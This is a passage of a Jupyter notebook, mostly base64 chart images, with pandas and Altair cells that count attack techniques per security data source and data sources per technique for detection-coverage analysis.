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", "text/plain": [ "\n", "\n", "If you see this message, it means the renderer has not been properly enabled\n", "for the frontend that you are using. For more information, see\n", "https://altair-viz.github.io/user_guide/troubleshooting.html\n" ] }, "execution_count": 30, "metadata": {}, "output_type": "execute_result" } ], "source": [ "data_source_distribution = pandas.DataFrame({\n", " 'Data Source': list(techniques_data_source_3.groupby(['data_sources'])['data_sources'].count().keys()),\n", " 'Count of Techniques': techniques_data_source_3.groupby(['data_sources'])['data_sources'].count().tolist()})\n", "bars = alt.Chart(data_source_distribution,width=800,height=300).mark_bar().encode(x ='Data Source',y='Count of Techniques',color='Data Source').properties(width=1200)\n", "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", "bars + text" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "A few interesting things from the bar chart above:\n", "* Process Monitoring, File Monitoring, and Process Command-line parameters are the Data Sources with the highest number of techniques\n", "* There are some data source names that include string references to Windows such as PowerShell, Windows and wmi" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## 12. Most Relevant Groups Of Data Sources Per Technique" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Number Of Data Sources Per Technique" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Although identifying the data sources with the highest number of techniques is a good start, they usually do not work alone. You might be collecting **Process Monitoring** already but you might be still missing a lot of context from a data perspective." ] }, { "cell_type": "code", "execution_count": 31, "metadata": {}, "outputs": [ { "data": { "application/vnd.vegalite.v2+json": { "$schema": "https://vega.github.io/schema/vega-lite/v2.6.0.json", "config": { "view": { "height": 300, "width": 400 } }, "datasets": { "data-4baf7ff6e3b63c41aca68244400d5d1c": [ { "Count of Techniques": 19, "Number of Data Sources": 1 }, { "Count of Techniques": 45, "Number of Data Sources": 2 }, { "Count of Techniques": 71, "Number of Data Sources": 3 }, { "Count of Techniques": 49, "Number of Data Sources": 4 }, { "Count of Techniques": 15, "Number of Data Sources": 5 }, { "Count of Techniques": 13, "Number of Data Sources": 6 }, { "Count of Techniques": 6, "Number of Data Sources": 7 }, { "Count of Techniques": 1, "Number of Data Sources": 12 } ] }, "layer": [ { "data": { "name": "data-4baf7ff6e3b63c41aca68244400d5d1c" }, "encoding": { "x": { "field": "Number of Data Sources", "type": "quantitative" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "mark": "bar", "width": 500 }, { "data": { "name": "data-4baf7ff6e3b63c41aca68244400d5d1c" }, "encoding": { "text": { "field": "Count of Techniques", "type": "quantitative" }, "x": { "field": "Number of Data Sources", "type": "quantitative" }, "y": { "field": "Count of Techniques", "type": "quantitative" } }, "mark": { "align": "center", "baseline": "middle", "dx": 0, "dy": -5, "type": "text" }, "width": 500 } ] }, "image/png": "iVBORw0KGgoAAAANSUhEUgAAAi4AAAFfCAYAAABp3EcmAAAgAElEQVR4Xu2dYYxm1Xnf/5OmtJi4FYbIdaMS6rGEHT6Q4v3QGuJiVIc2OFJta9ldMLUqVCE52NUiIiZCsAMYZaaxjGQTVD6gWjJoF+Qmsgp2ncSuJcD1h00sPtBkJQ8lWKllyZg2JoaghLc663uHO+++77znf8+ZmefM/l4p8bJ7n/Oe8zvPPef3nnvuvUviAwEIQAACEIAABBohsNRIPakmBCAAAQhAAAIQEOJCEkAAAhCAAAQg0AwBxKWZrqKiEIAABCAAAQggLuQABCAAAQhAAALNEEBcmukqKgoBCEAAAhCAAOJCDkAAAhCAAAQg0AwBxKWZrqKiEIAABCAAAQhEE5dLJD0m6TJJd0m6t+uiOyXdI+lZSYcknaLrIAABCEAAAhA4+whEEpdzJd0t6eFOTJKsfKPrkqs7iUlic5OkY5JePfu6ixZDAAIQgAAEzm4CkcQl9cRRSV/pxKX/8wFJL0h6RlKSm9skPSjppbO762g9BCAAAQhA4OwjEE1ckpjcL+lmSVd2snLDlLhsrsqsr68fm0wmq8Nuu/DCC//mAx/4wM+efV1JiyEAAQhAAAL7isD/XV5ePn+6RZHE5QJJD0hKIpL2sKRLRc93Fc5ecVlbW5usrKxEatfpJmxsbEyWl5fD1Sty3WDmD0Awg5lPwI8gz2DmE/Aj5uVZpIk0ict9ku7oLgOllZb0SdKSvccFcamXHH5JdSMYHH2eMIOZT8CPIM9g5hPwI1oQl9SqKyQ93TXvoW7PS9qEm31XEeJSLzn8kupGMDj6PGEGM5+AH0Gewcwn4Ee0Ii5+y6YiEBcfYdRBKGq9EuGodYtaL5j55yXMYDaOgB8VddxAXPy+rBoRNTEYHMd1c9T+jFov8ow8G0fAj4p6DkStV4vnZqQ9Ln6GzohgxcXHGPWEilqvFk90PyvqR0Ttz6j1Is/G5WDU/oxarxbzDHEZd27YUSStjSzs5ZgWT3Sffv2IqOdA1HqRZ+NyMGp/Rq1Xi3mGu